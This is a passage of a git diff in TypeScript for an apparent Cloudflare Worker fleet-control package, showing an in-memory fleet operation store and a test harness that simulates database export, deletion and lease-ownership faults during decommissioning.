+      current !== undefined &&
+      current.state === 'running' &&
+      current.progress.revision === expectedRevision;
+    if (matches) {
+      for (const [rowKind, watermark] of Object.entries(
+        expectedRowWatermarks,
+      )) {
+        const key = this.#rowsKey(
+          operationId,
+          rowKind as FleetOperationRowKind,
+        );
+        const ordinals = new Set(
+          (this.rows.get(key) ?? []).map((existing) => existing.ordinal),
+        );
+        for (const row of rows) {
+          if (row.rowKind === rowKind) ordinals.add(row.ordinal);
+        }
+        const count = [...ordinals].filter(
+          (ordinal) => ordinal < (watermark as number),
+        ).length;
+        if (count !== watermark) {
+          throw new Error(
+            `fleet operation '${operationId}' is no longer at the expected revision`,
+          );
+        }
+      }
+      for (const row of updateRows) {
+        const list = this.rows.get(this.#rowsKey(operationId, row.rowKind));
+        if (!list?.some((existing) => existing.ordinal === row.ordinal)) {
+          throw new Error(
+            `fleet operation '${operationId}' is no longer at the expected revision`,
+          );
+        }
+      }
+      for (const row of rows) {
+        const stored = this.rows
+          .get(this.#rowsKey(operationId, row.rowKind))
+          ?.find((existing) => existing.ordinal === row.ordinal);
+        if (stored && payloadBytes(stored) !== payloadBytes(row)) {
+          throw new Error('immutable operation row payload differs');
+        }
+      }
+      for (const row of rows) {
+        const key = this.#rowsKey(operationId, row.rowKind);
+        const list = this.rows.get(key) ?? [];
+        if (!list.some((existing) => existing.ordinal === row.ordinal)) {
+          list.push(row);
+          this.rows.set(key, list);
+        }
+      }
+      for (const row of updateRows) {
+        const key = this.#rowsKey(operationId, row.rowKind);
+        const list = this.rows.get(key) ?? [];
+        const index = list.findIndex(
+          (existing) => existing.ordinal === row.ordinal,
+        );
+        if (index >= 0) list[index] = row;
+      }
+      this.operations.set(operationId, runRecord);
+      return Promise.resolve(runRecord);
+    }
+    const persisted = this.operations.get(operationId);
+    if (!persisted) throw new Error(`no fleet operation '${operationId}'`);
+    for (const [rowKind, watermark] of Object.entries(expectedRowWatermarks)) {
+      const list =
+        this.rows.get(
+          this.#rowsKey(operationId, rowKind as FleetOperationRowKind),
+        ) ?? [];
+      const count = list.filter(
+        (row) => row.ordinal < (watermark as number),
+      ).length;
+      if (count !== watermark) {
+        throw new Error(
+          `fleet operation '${operationId}' is no longer at the expected revision`,
+        );
+      }
+    }
+    if (JSON.stringify(persisted) !== JSON.stringify(runRecord)) {
+      throw new Error(
+        `fleet operation '${operationId}' is no longer at the expected revision`,
+      );
+    }
+    let complete = true;
+    for (const row of [...rows, ...updateRows]) {
+      const key = this.#rowsKey(operationId, row.rowKind);
+      const list = this.rows.get(key) ?? [];
+      const stored = list.find((existing) => existing.ordinal === row.ordinal);
+      if (!stored) complete = false;
+      else if (payloadBytes(stored) !== payloadBytes(row)) {
+        throw new Error(
+          `fleet operation '${operationId}' staged rows diverge from the persisted operation`,
+        );
+      }
+    }
+    if (!complete) {
+      throw new Error(
+        `fleet operation '${operationId}' is no longer at the expected revision`,
+      );
+    }
+    return Promise.resolve(persisted);
+  }
+
+  #validatedRows(
+    rows: readonly FleetOperationStagedRow[],
+  ): FleetOperationStagedRow[] {
+    return rows.map((row) => {
+      this.stagedRowCodecCalls += 1;
+      return fleetOperationStagedRowFromUnknown(row);
+    });
+  }
+
+  #finalizeOperation(
+    kind: FleetOperationKind,
+    input: Parameters<FleetOperationLease['finalizeOperation']>[0],
+  ): ReturnType<FleetOperationLease['finalizeOperation']> {
+    const {
+      operationId,
+      expectedRevision,
+      runRecord,
+      expectedRowCounts,
+      requireAllItemsComplete,
+    } = input;
+    const current = this.operations.get(operationId);
+    if (current && current.kind !== kind) {
+      throw new Error(fleetOperationOtherKindMessage(operationId));
+    }
+    if (
+      current?.state !== 'running' ||
+      current.progress.revision !== expectedRevision
+    ) {
+      throw new Error(
+        `fleet operation '${operationId}' is no longer at the expected revision`,
+      );
+    }
+    for (const [rowKind, count] of Object.entries(expectedRowCounts)) {
+      const list =
+        this.rows.get(
+          this.#rowsKey(operationId, rowKind as FleetOperationRowKind),
+        ) ?? [];
+      if (list.length !== count) {
+        throw new Error(
+          `fleet operation '${operationId}' does not match its finalize counts`,
+        );
+      }
+    }
+    if (requireAllItemsComplete) {
+      const items = this.rows.get(this.#rowsKey(operationId, 'item')) ?? [];
+      const complete = items.filter(
+        (row) =>
+          (row.payload as Readonly<{ status?: string }>).status === 'complete',
+      ).length;
+      const itemCount = (runRecord.progress as Readonly<{ itemCount?: number }>)
+        .itemCount;
+      if (complete !== itemCount) {
+        throw new Error(
+          `fleet operation '${operationId}' does not match its finalize counts`,
+        );
+      }
+    }
+    const finalized: FleetOperationRunRecord = {
+      ...runRecord,
+      // The wall clock, not a pinned audit clock (see AUDIT_NOW).
+      terminalAtMs: Date.now(),
+    };
+    this.operations.set(operationId, finalized);
+    if (this.heads.get(current.kind) === operationId) {
+      this.heads.delete(current.kind);
+    }
+    return Promise.resolve(finalized);
+  }
+
+  #failOperation(
+    kind: FleetOperationKind,
+    input: Parameters<FleetOperationLease['failOperation']>[0],
+  ): Promise<void> {
+    const { operationId, expectedRevision, runRecord, updateRows = [] } = input;
+    if (updateRows.length > 1) {
+      throw new Error(FLEET_OPERATION_SINGLE_UPDATE_ROW_MESSAGE);
+    }
+    const current = this.operations.get(operationId);
+    if (current && current.kind !== kind) {
+      throw new Error(fleetOperationOtherKindMessage(operationId));
+    }
+    if (
+      current?.state !== 'running' ||
+      current.progress.revision !== expectedRevision
+    ) {
+      throw new Error(
+        `fleet operation '${operationId}' is no longer at the expected revision`,
+      );
+    }
+    for (const row of updateRows) {
+      const key = this.#rowsKey(operationId, row.rowKind);
+      const list = this.rows.get(key) ?? [];
+      const index = list.findIndex(
+        (existing) => existing.ordinal === row.ordinal,
+      );
+      if (index >= 0) list[index] = row;
+    }
+    const failed: FleetOperationRunRecord = {
+      ...runRecord,
+      // The wall clock, not a pinned audit clock (see AUDIT_NOW).
+      terminalAtMs: Date.now(),
+    };
+    this.operations.set(operationId, failed);
+    if (this.heads.get(current.kind) === operationId) {
+      this.heads.delete(current.kind);
+    }
+    return Promise.resolve();
+  }
+}
diff --git a/packages/fleet-control/test/fixtures/fleet-state-harness-probe.ts b/packages/fleet-control/test/fixtures/fleet-state-harness-probe.ts
index 7fd87758..d34b431b 100644
--- a/packages/fleet-control/test/fixtures/fleet-state-harness-probe.ts
+++ b/packages/fleet-control/test/fixtures/fleet-state-harness-probe.ts
@@ -1,22 +1,75 @@
 // SPDX-License-Identifier: Apache-2.0
-/// <reference types="@cloudflare/workers-types" />
+import type {
+  D1Database,
+  ExportedHandler,
+  Request,
+  Response as WorkerResponse,
+} from '@cloudflare/workers-types';
 
+import {
+  applicationBindingTopology,
+  reserveApplicationR2Resources,
+} from '../../src/application-bindings.js';
 import { D1CloudflareApiRateCoordinator } from '../../src/cloudflare-rate-coordinator.js';
+import { initialWorkerAttachmentScan } from '../../src/cloudflare-worker-attachment-scan-state.js';
+import { D1FleetInventoryRunStore } from '../../src/d1-fleet-inventory-run-store.js';
+import { D1FleetOperationStore } from '../../src/d1-fleet-operation-store.js';
+import { D1FleetStateDatabase } from '../../src/d1-fleet-state-database.js';
+import { advanceDecommissionDeployment } from '../../src/decommission-advance.js';
+import type { FleetAuditProgress } from '../../src/fleet-audit-state.js';
+import { advanceFleetInventory } from '../../src/fleet-inventory-advance.js';
+import {
+  canonicalFleetInventoryRunOptions,
+  emptyFleetInventoryRowCounts,
+  type FleetInventoryRowKind,
+  type FleetInventoryRunRecord,
+  type FleetInventoryRunStore,
+  type FleetInventoryStagedFact,
+  type FleetInventoryStagedRow,
+  fleetInventoryOptionsDigest,
+} from '../../src/fleet-inventory-state.js';
+import type { FleetMigrationProgress } from '../../src/fleet-migration-state.js';
+import type {
+  FleetOperationKind,
+  FleetOperationRunRecord,
+  FleetOperationStagedRow,
+} from '../../src/fleet-operation-state.js';
 import {
   canonicalDeploymentEgressPolicy,
   externalEgressProxyScriptName,
   externalStateScriptName,
 } from '../../src/platform-resources.js';
+import { deploymentSpecDigest } from '../../src/spec-digest.js';
 import {
+  ADDED_NULLABLE_TEXT_COLUMNS,
   D1FleetStateStore,
   type FleetStateDatabase,
 } from '../../src/state-store.js';
 import type {
+  ApplicationR2BucketSnapshot,
+  ApplicationR2Resource,
+  CleanupAdvanceIntent,
+  CleanupTerminalReceipt,
+  DatabaseExport,
+  DatabaseExportReceiptIdentity,
+  DatabaseReference,
+  DecommissionAdvanceIntent,
+  DecommissionAttachmentScanInput,
+  DecommissionAttachmentScanResult,
+  DeploymentSpec,
   FleetRecord,
   FleetStateLease,
+  FleetStateStore,
   PlatformPlaneLease,
   PlatformPlaneResourceSet,
+  ProvisioningBackend,
 } from '../../src/types.js';
+import {
+  backendSwitchDecommissionRecordFixture,
+  decommissionAdvancingRecordFixture,
+} from './decommission-intent-fixture.js';
+
+declare const Response: typeof WorkerResponse;
 
 interface Env {
   DB: D1Database;
@@ -26,47 +79,24 @@ const STATE_TABLE = 'anchorage_fleet_deployments';
 const LEASE_TABLE = 'anchorage_fleet_leases';
 const PLATFORM_CLAIM_TABLE = 'anchorage_platform_plane_claims';
 const PLATFORM_LEASE_TABLE = 'anchorage_platform_plane_leases';
+const BOUNDED_PROVIDER_TABLE = 'anchorage_test_bounded_decommission_provider';
+const CLEANUP_RECEIPT_TABLE = 'anchorage_fleet_cleanup_receipts';
 const DB_NOW_MS = "CAST(unixepoch('subsec') * 1000 AS INTEGER)";
 
-function database(db: D1Database): FleetStateDatabase {
-  const statement = (sql: string, bindings: readonly unknown[]) => {
-    const prepared = db.prepare(sql);
-    return bindings.length > 0 ? prepared.bind(...bindings) : prepared;
-  };
-  return {
-    async query(sql, bindings = []) {
-      const result = await statement(sql, bindings).all<
-        Readonly<Record<string, unknown>>
-      >();
-      return result.results;
-    },
-    async execute(sql, bindings = []) {
-      await statement(sql, bindings).run();
-    },
-    async batch(statements) {
-      const results = await db.batch(
-        statements.map(({ sql, bindings = [] }) => statement(sql, bindings)),
-      );
-      return results.map(
-        (result) =>
-          result.results as readonly Readonly<Record<string, unknown>>[],
-      );
-    },
-  };
-}
-
 function controlledLeaseClock(
   db: D1Database,
   leaseTable: string,
 ): Readonly<{
   database: FleetStateDatabase;
   advance(ms: number): void;
+  advanceBeforeBatchStatement(index: number, ms: number): void;
   allowHeartbeat(): void;
   now(): number;
   heartbeat: Promise<void>;
 }> {
-  const delegate = database(db);
+  const delegate = new D1FleetStateDatabase(db);
   let now = 1_000_000;
+  let batchClockAdvance: { index: number; ms: number } | undefined;
   let allowHeartbeat: (() => void) | undefined;
   const heartbeatAllowed = new Promise<void>((resolve) => {
     allowHeartbeat = resolve;
@@ -88,17 +118,23 @@ function controlledLeaseClock(
       },
       execute: (sql, bindings = []) =>
         delegate.execute(atControlledTime(sql), bindings),
-      batch: (statements) =>
-        delegate.batch(
-          statements.map((statement) => ({
-            ...statement,
-            sql: atControlledTime(statement.sql),
-          })),
-        ),
+      batch: (statements) => {
+        const advance = batchClockAdvance;
+        batchClockAdvance = undefined;
+        return delegate.batch(
+          statements.map((statement, index) => {
+            if (advance?.index === index) now += advance.ms;
+            return { ...statement, sql: atControlledTime(statement.sql) };
+          }),
+        );
+      },
     },
     advance(ms) {
       now += ms;
     },
+    advanceBeforeBatchStatement(index, ms) {
+      batchClockAdvance = { index, ms };
+    },
     allowHeartbeat() {
       allowHeartbeat?.();
     },
@@ -129,6 +165,782 @@ function record(
   };
 }
 
+function decommissionRecord(tenantTag: string, revision: number): FleetRecord {
+  const base = {
+    ...record(tenantTag, 'production'),
+    applicationResources: [],
+    applicationBindings: { vars: [], secrets: [], r2Buckets: [] },
+  };
+  return decommissionAdvancingRecordFixture(base, 'ready', {
+    operationId: '123e4567-e89b-42d3-a456-426614174000',
+    revision,
+    generation: 0,
+    updatedAt: `2026-08-11T00:00:${String(revision).padStart(2, '0')}.000Z`,
+  });
+}
+
+const DECOMMISSION_SCAN_EVIDENCE = 'b'.repeat(64);
+const DECOMMISSION_SCAN_EVIDENCE_COUNT = 2;
+const DECOMMISSION_CREATED_AT = '2026-08-30T00:00:00.000Z';
+const DECOMMISSION_RECEIPT_AUTHORITY = 'd1-test://fleet-exports/receipts/v1';
+const DECOMMISSION_EXPORT_SHA256 = 'c'.repeat(64);
+const DECOMMISSION_EXPORT_SIZE = 37;
+
+function boundedDatabaseId(tenantTag: 'advance' | 'advancelost'): string {
+  return tenantTag === 'advance'
+    ? '00000000-0000-4000-8000-000000000201'
+    : '00000000-0000-4000-8000-000000000202';
+}
+
+function boundedDecommissionSpec(tenantTag: string): DeploymentSpec {
+  return {
+    tenantTag,
+    environment: 'production',
+    scriptName: `${tenantTag}-worker`,
+    databaseName: `${tenantTag}-database`,
+    compatibilityDate: '2026-08-30',
+    mainModule: 'worker.js',
+    modules: [{ name: 'worker.js', content: 'export default {}' }],
+    authoredBy: 'platform',
+    schemaVersion: 1,
+    migrations: [{ version: 1, sql: 'CREATE TABLE example (id TEXT)' }],
+    durableObjectMigrations: [],
+    durableObjectBindings: [],
+    maintenanceBaseUrl: `https://${tenantTag}-control.example.test`,
+    routeHostname: `${tenantTag}.example.test`,
+    application: {
+      vars: [],
+      secrets: [],
+      r2Buckets: [{ name: 'FILES' }],
+    },
+  };
+}
+
+function boundedDecommissionRecord(
+  spec: DeploymentSpec,
+  startAtD1 = false,
+): Readonly<{ record: FleetRecord; resource: ApplicationR2Resource }> {
+  const reserved = reserveApplicationR2Resources(spec)[0];
+  if (!reserved) throw new Error('bounded decommission R2 reservation missing');
+  const resource: ApplicationR2Resource = {
+    ...reserved,
+    state: startAtD1 ? 'deleted' : 'created',
+    creationDate: DECOMMISSION_CREATED_AT,
+  };
+  return {
+    resource,
+    record: {
+      tenantTag: spec.tenantTag,
+      environment: spec.environment,
+      backend: 'plain-worker',
+      scriptName: spec.scriptName,
+      databaseId: boundedDatabaseId(
+        spec.tenantTag as 'advance' | 'advancelost',
+      ),
+      databaseName: spec.databaseName,
+      schemaVersion: spec.schemaVersion,
+      artifactVersion: `${spec.tenantTag}-artifact-v1`,
+      desiredSpecDigest: deploymentSpecDigest(spec),
+      applicationResources: [resource],
+      applicationBindings: applicationBindingTopology(spec, [resource]),
+      durableObjectBindings: [],
+      routeHostname: spec.routeHostname,
+      phase: startAtD1
+        ? 'application-resources-deleted'
+        : 'application-resources-deleting',
+      updatedAt: '2026-08-29T00:00:00.000Z',
+    },
+  };
+}
+
+type BoundedProviderOutcome =
+  | Readonly<{ status: 'fulfilled'; value?: 'default' | 'present' | 'absent' }>
+  | Readonly<{
+      status: 'rejected';
+      reason: 'error' | 'null' | 'undefined';
+    }>;
+
+interface BoundedProviderRow {
+  readonly tenant_tag: string;
+  readonly database_id: string;
+  readonly database_name: string;
+  readonly observed_database_id: string;
+  readonly observed_database_name: string;
+  readonly owner: string;
+  readonly database_present: number;
+  readonly receipt_authority: string | null;
+  readonly receipt_operation_id: string | null;
+  readonly receipt_location: string | null;
+  readonly receipt_size: number | null;
+  readonly receipt_sha256: string | null;
+  readonly receipt_commit_count: number;
+  readonly export_call_count: number;
+  readonly delete_count: number;
+  readonly next_export_outcome: string | null;
+  readonly next_delete_outcome: string | null;
+  readonly next_readback_outcome: string | null;
+  readonly ownership_assertion_count: number;
+  readonly next_ownership_failure_ordinal: number | null;
+}
+
+async function ensureBoundedProviderState(
+  db: D1Database,
+  tenantTag: 'advance' | 'advancelost',
+  databaseName: string,
+): Promise<void> {
+  await db
+    .prepare(
+      `CREATE TABLE IF NOT EXISTS ${BOUNDED_PROVIDER_TABLE} (
+        tenant_tag TEXT PRIMARY KEY,
+        database_id TEXT NOT NULL,
+        database_name TEXT NOT NULL,
+        observed_database_id TEXT NOT NULL,
+        observed_database_name TEXT NOT NULL,
+        owner TEXT NOT NULL,
+        database_present INTEGER NOT NULL,
+        receipt_authority TEXT,
+        receipt_operation_id TEXT,
+        receipt_location TEXT,
+        receipt_size INTEGER,
+        receipt_sha256 TEXT,
+        receipt_commit_count INTEGER NOT NULL DEFAULT 0,
+        export_call_count INTEGER NOT NULL DEFAULT 0,
+        delete_count INTEGER NOT NULL DEFAULT 0,
+        next_export_outcome TEXT,
+        next_delete_outcome TEXT,
+        next_readback_outcome TEXT,
+        ownership_assertion_count INTEGER NOT NULL DEFAULT 0,
+        next_ownership_failure_ordinal INTEGER
+      )`,
+    )
+    .run();
+  const databaseId = boundedDatabaseId(tenantTag);
+  await db
+    .prepare(
+      `INSERT OR IGNORE INTO ${BOUNDED_PROVIDER_TABLE} (
+        tenant_tag,
+        database_id,
+        database_name,
+        observed_database_id,
+        observed_database_name,
+        owner,
+        database_present
+      ) VALUES (?, ?, ?, ?, ?, ?, 1)`,
+    )
+    .bind(
+      tenantTag,
+      databaseId,
+      databaseName,
+      databaseId,
+      databaseName,
+      tenantTag,
+    )
+    .run();
+}
+
+async function readBoundedProviderState(
+  db: D1Database,
+  tenantTag: 'advance' | 'advancelost',
+): Promise<BoundedProviderRow> {
+  const row = await db
+    .prepare(`SELECT * FROM ${BOUNDED_PROVIDER_TABLE} WHERE tenant_tag = ?`)
+    .bind(tenantTag)
+    .first<BoundedProviderRow>();
+  if (!row) throw new Error('bounded provider state is absent');
+  return row;
+}
+
+function decodeBoundedProviderOutcome(
+  value: string | null,
+): BoundedProviderOutcome | undefined {
+  return value === null
+    ? undefined
+    : (JSON.parse(value) as BoundedProviderOutcome);
+}
+
+function rejectBoundedProviderOutcome(
+  outcome: Extract<BoundedProviderOutcome, { status: 'rejected' }>,
+): never {
+  if (outcome.reason === 'null') throw null;
+  if (outcome.reason === 'undefined') throw undefined;
+  throw new Error('bounded provider injected rejection');
+}
+
+class BoundedDecommissionBackend implements ProvisioningBackend {
+  readonly kind = 'plain-worker' as const;
+  readonly databaseExportReceiptAuthority = DECOMMISSION_RECEIPT_AUTHORITY;
+  readonly events: string[] = [];
+  #bucketExists: boolean;
+  #deleteAttempted = false;
+
+  constructor(
+    readonly db: D1Database,
+    readonly tenantTag: 'advance' | 'advancelost',
+    readonly resource: ApplicationR2Resource,
+    bucketExists: boolean,
+    readonly scanPass: string | undefined,
+    readonly options: Readonly<{
+      afterScan?: 'absent' | 'id' | 'name' | 'owner';
+      loseReceiptResponse?: boolean;
+      loseDeleteResponse?: boolean;
+    }>,
+  ) {
+    this.#bucketExists = bucketExists;
+  }
+
+  async advanceDecommissionAttachmentScan(
+    input: DecommissionAttachmentScanInput,
+  ): Promise<DecommissionAttachmentScanResult> {
+    this.events.push(`scan:${this.scanPass ?? 'unexpected'}`);
+    if (input.progress.target.kind === 'd1') {
+      switch (this.options.afterScan) {
+        case 'absent':
+          await this.db
+            .prepare(
+              `UPDATE ${BOUNDED_PROVIDER_TABLE}
+               SET database_present = 0
+               WHERE tenant_tag = ?`,
+            )
+            .bind(this.tenantTag)
+            .run();
+          break;
+        case 'id':
+          await this.db
+            .prepare(
+              `UPDATE ${BOUNDED_PROVIDER_TABLE}
+               SET observed_database_id = database_id || '-drift'
+               WHERE tenant_tag = ?`,
+            )
+            .bind(this.tenantTag)
+            .run();
+          break;
+        case 'name':
+          await this.db
+            .prepare(
+              `UPDATE ${BOUNDED_PROVIDER_TABLE}
+               SET observed_database_name = database_name || '-drift'
+               WHERE tenant_tag = ?`,
+            )
+            .bind(this.tenantTag)
+            .run();
+          break;
+        case 'owner':
+          await this.db
+            .prepare(
+              `UPDATE ${BOUNDED_PROVIDER_TABLE}
+               SET owner = 'foreign'
+               WHERE tenant_tag = ?`,
+            )
+            .bind(this.tenantTag)
+            .run();
+          break;
+      }
+    }
+    return {
+      status: 'complete',
+      evidenceSha256: DECOMMISSION_SCAN_EVIDENCE,
+      evidenceCount: DECOMMISSION_SCAN_EVIDENCE_COUNT,
+      providerFetchAttemptsReserved: 6,
+    };
+  }
+
+  async findApplicationR2Bucket(): Promise<
+    ApplicationR2BucketSnapshot | undefined
+  > {
+    this.events.push('r2-find');
+    return this.#bucketExists
+      ? {
+          name: this.resource.name,
+          bucketName: this.resource.bucketName,
+          jurisdiction: this.resource.jurisdiction,
+          creationDate: this.resource.creationDate as string,
+        }
+      : undefined;
+  }
+
+  async assertApplicationR2Empty(): Promise<void> {
+    this.events.push('r2-empty');
+  }
+
+  async deleteApplicationR2Bucket(): Promise<void> {
+    this.events.push('r2-delete');
+    this.#bucketExists = false;
+  }
+
+  async assertApplicationR2Detached(): Promise<never> {
+    throw new Error('bounded coordinator called legacy R2 attachment listing');
+  }
+
+  async assertDatabaseDeletionResidualsRemoved(): Promise<void> {
+    this.events.push('d1-residuals');
+  }
+
+  async findDatabase(): Promise<never> {
+    throw new Error('bounded coordinator unexpectedly found D1');
+  }
+
+  async getDatabase(
+    databaseId: string,
+  ): Promise<DatabaseReference | undefined> {
+    this.events.push('d1-get');
+    const row = await readBoundedProviderState(this.db, this.tenantTag);
+    if (databaseId !== row.database_id) {
+      throw new Error('bounded coordinator read an unexpected D1 ID');
+    }
+    if (this.#deleteAttempted) {
+      const outcome = decodeBoundedProviderOutcome(row.next_readback_outcome);
+      if (outcome) {
+        await this.db
+          .prepare(
+            `UPDATE ${BOUNDED_PROVIDER_TABLE}
+             SET next_readback_outcome = NULL
+             WHERE tenant_tag = ?`,
+          )
+          .bind(this.tenantTag)
+          .run();
+        if (outcome.status === 'rejected') {
+          rejectBoundedProviderOutcome(outcome);
+        }
+        if (outcome.value === 'absent') return undefined;
+        if (outcome.value === 'present') {
+          return {
+            id: row.observed_database_id,
+            name: row.observed_database_name,
+            created: false,
+          };
+        }
+      }
+    }
+    return row.database_present === 0
+      ? undefined
+      : {
+          id: row.observed_database_id,
+          name: row.observed_database_name,
+          created: false,
+        };
+  }
+
+  async ensureDatabase(): Promise<never> {
+    throw new Error('bounded coordinator unexpectedly created D1');
+  }
+
+  async seedDeploymentIdentity(): Promise<never> {
+    throw new Error('bounded coordinator unexpectedly seeded D1');
+  }
+
+  async readDeploymentIdentity(): Promise<string | undefined> {
+    this.events.push('d1-owner');
+    return (await readBoundedProviderState(this.db, this.tenantTag)).owner;
+  }
+
+  async applyMigrations(): Promise<never> {
+    throw new Error('bounded coordinator unexpectedly migrated D1');
+  }
+
+  async deployWorker(): Promise<never> {
+    throw new Error('bounded coordinator unexpectedly deployed a Worker');
+  }
+
+  async promoteWorker(): Promise<never> {
+    throw new Error('bounded coordinator unexpectedly promoted a Worker');
+  }
+
+  async ensureMaintenance(): Promise<never> {
+    throw new Error('bounded coordinator unexpectedly armed maintenance');
+  }
+
+  async inspect(): Promise<never> {
+    throw new Error('bounded coordinator unexpectedly inspected a Worker');
+  }
+
+  async attestActiveRoute(): Promise<never> {
+    throw new Error('bounded coordinator unexpectedly attested a route');
+  }
+
+  async removeTraffic(): Promise<never> {
+    throw new Error('bounded coordinator unexpectedly removed traffic');
+  }
+
+  async assertTrafficRemoved(): Promise<never> {
+    throw new Error('bounded coordinator unexpectedly attested traffic');
+  }
+
+  async revokeCredentials(): Promise<never> {
+    throw new Error('bounded coordinator unexpectedly revoked credentials');
+  }
+
+  async deleteWorker(): Promise<never> {
+    throw new Error('bounded coordinator unexpectedly deleted a Worker');
+  }
+
+  async assertDatabaseDetached(): Promise<never> {
+    throw new Error('bounded coordinator called legacy D1 attachment listing');
+  }
+
+  async exportDatabase(): Promise<never> {
+    throw new Error('bounded coordinator unexpectedly exported D1');
+  }
+
+  async exportDatabaseReceipt(
+    identity: DatabaseExportReceiptIdentity,
+  ): Promise<DatabaseExport> {
+    this.events.push('d1-export');
+    const row = await readBoundedProviderState(this.db, this.tenantTag);
+    await this.db
+      .prepare(
+        `UPDATE ${BOUNDED_PROVIDER_TABLE}
+         SET export_call_count = export_call_count + 1
+         WHERE tenant_tag = ?`,
+      )
+      .bind(this.tenantTag)
+      .run();
+    const outcome = decodeBoundedProviderOutcome(row.next_export_outcome);
+    if (outcome) {
+      await this.db
+        .prepare(
+          `UPDATE ${BOUNDED_PROVIDER_TABLE}
+           SET next_export_outcome = NULL
+           WHERE tenant_tag = ?`,
+        )
+        .bind(this.tenantTag)
+        .run();
+      if (outcome.status === 'rejected') {
+        rejectBoundedProviderOutcome(outcome);
+      }
+    }
+    if (
+      identity.authority !== DECOMMISSION_RECEIPT_AUTHORITY ||
+      identity.databaseId !== row.database_id
+    ) {
+      throw new Error(
+        'bounded provider received a mismatched receipt identity',
+      );
+    }
+    const location =
+      row.receipt_location ??
+      `${DECOMMISSION_RECEIPT_AUTHORITY}/${identity.databaseId}/${identity.operationId}.sql`;
+    if (row.receipt_operation_id === null) {
+      await this.db
+        .prepare(
+          `UPDATE ${BOUNDED_PROVIDER_TABLE}
+           SET receipt_authority = ?,
+               receipt_operation_id = ?,
+               receipt_location = ?,
+               receipt_size = ?,
+               receipt_sha256 = ?,
+               receipt_commit_count = receipt_commit_count + 1
+           WHERE tenant_tag = ?`,
+        )
+        .bind(
+          identity.authority,
+          identity.operationId,
+          location,
+          DECOMMISSION_EXPORT_SIZE,
+          DECOMMISSION_EXPORT_SHA256,
+          this.tenantTag,
+        )
+        .run();
+    } else if (
+      row.receipt_authority !== identity.authority ||
+      row.receipt_operation_id !== identity.operationId ||
+      row.receipt_size !== DECOMMISSION_EXPORT_SIZE ||
+      row.receipt_sha256 !== DECOMMISSION_EXPORT_SHA256
+    ) {
+      throw new Error('bounded provider preserved a mismatched receipt winner');
+    }
+    if (this.options.loseReceiptResponse) {
+      throw new Error('bounded receipt response lost');
+    }
+    return {
+      databaseId: identity.databaseId,
+      location,
+      size: DECOMMISSION_EXPORT_SIZE,
+      sha256: DECOMMISSION_EXPORT_SHA256,
+    };
+  }
+
+  async deleteDatabase(): Promise<void> {
+    this.events.push('d1-delete');
+    this.#deleteAttempted = true;
+    const row = await readBoundedProviderState(this.db, this.tenantTag);
+    const outcome = decodeBoundedProviderOutcome(row.next_delete_outcome);
+    if (outcome) {
+      await this.db
+        .prepare(
+          `UPDATE ${BOUNDED_PROVIDER_TABLE}
+           SET next_delete_outcome = NULL
+           WHERE tenant_tag = ?`,
+        )
+        .bind(this.tenantTag)
+        .run();
+      if (outcome.status === 'rejected') {
+        rejectBoundedProviderOutcome(outcome);
+      }
+    }
+    await this.db
+      .prepare(
+        `UPDATE ${BOUNDED_PROVIDER_TABLE}
+         SET database_present = ?, delete_count = delete_count + 1
+         WHERE tenant_tag = ?`,
+      )
+      .bind(outcome?.value === 'present' ? 1 : 0, this.tenantTag)
+      .run();
+    if (this.options.loseDeleteResponse) {
+      throw new Error('bounded delete response lost');
+    }
+  }
+}
+
+interface BoundedDecommissionStepInput {
+  readonly tenantTag: 'advance' | 'advancelost';
+  readonly operation: Readonly<
+    { kind: 'start' } | { kind: 'continue'; token: unknown }
+  >;
+  readonly afterScan?: 'absent' | 'id' | 'name' | 'owner';
+  readonly failWriteBeforeCommit?: boolean;
+  readonly loseWrite?: boolean;
+  readonly loseReceiptResponse?: boolean;
+  readonly loseDeleteResponse?: boolean;
+  readonly nextExportOutcome?: BoundedProviderOutcome;
+  readonly nextDeleteOutcome?: BoundedProviderOutcome;
+  readonly nextReadbackOutcome?: BoundedProviderOutcome;
+  readonly nextOwnershipFailureOrdinal?: number;
+  readonly seedAtD1?: boolean;
+}
+
+async function configureBoundedProviderState(
+  db: D1Database,
+  input: BoundedDecommissionStepInput,
+): Promise<void> {
+  const outcomes = [
+    ['next_export_outcome', input.nextExportOutcome],
+    ['next_delete_outcome', input.nextDeleteOutcome],
+    ['next_readback_outcome', input.nextReadbackOutcome],
+  ] as const;
+  for (const [column, outcome] of outcomes) {
+    if (outcome === undefined) continue;
+    await db
+      .prepare(
+        `UPDATE ${BOUNDED_PROVIDER_TABLE}
+         SET ${column} = ?
+         WHERE tenant_tag = ?`,
+      )
+      .bind(JSON.stringify(outcome), input.tenantTag)
+      .run();
+  }
+  if (input.nextOwnershipFailureOrdinal !== undefined) {
+    await db
+      .prepare(
+        `UPDATE ${BOUNDED_PROVIDER_TABLE}
+         SET ownership_assertion_count = 0,
+             next_ownership_failure_ordinal = ?
+         WHERE tenant_tag = ?`,
+      )
+      .bind(input.nextOwnershipFailureOrdinal, input.tenantTag)
+      .run();
+  }
+}
+
+function providerAssertionStore(
+  db: D1Database,
+  tenantTag: 'advance' | 'advancelost',
+  delegate: D1FleetStateStore,
+): FleetStateStore {
+  return {
+    get: (requestedTenantTag, environment) =>
+      delegate.get(requestedTenantTag, environment),
+    list: () => delegate.list(),
+    withDeploymentLease: (requestedTenantTag, environment, operation) =>
+      delegate.withDeploymentLease(requestedTenantTag, environment, (lease) =>
+        operation({
+          tenantTag: lease.tenantTag,
+          environment: lease.environment,
+          mutationLeaseTtlMs: lease.mutationLeaseTtlMs,
+          async assertOwned() {
+            const state = await readBoundedProviderState(db, tenantTag);
+            const ordinal = state.ownership_assertion_count + 1;
+            await db
+              .prepare(
+                `UPDATE ${BOUNDED_PROVIDER_TABLE}
+                   SET ownership_assertion_count = ?,
+                       next_ownership_failure_ordinal =
+                         CASE WHEN next_ownership_failure_ordinal = ?
+                           THEN NULL
+                           ELSE next_ownership_failure_ordinal
+                         END
+                   WHERE tenant_tag = ?`,
+              )
+              .bind(ordinal, ordinal, tenantTag)
+              .run();
+            if (state.next_ownership_failure_ordinal === ordinal) {
+              throw new Error('bounded provider lease ownership transferred');
+            }
+            await lease.assertOwned();
+          },
+          renew: () => lease.renew(),
+          put: (record) => lease.put(record),
+          delete: () => lease.delete(),
+        }),
+      ),
+  };
+}
+
+async function boundedDecommissionStep(
+  db: D1Database,
+  input: BoundedDecommissionStepInput,
+): Promise<unknown> {
+  const spec = boundedDecommissionSpec(input.tenantTag);
+  await ensureBoundedProviderState(db, input.tenantTag, spec.databaseName);
+  await configureBoundedProviderState(db, input);
+  const seedStore = new D1FleetStateStore(new D1FleetStateDatabase(db), {
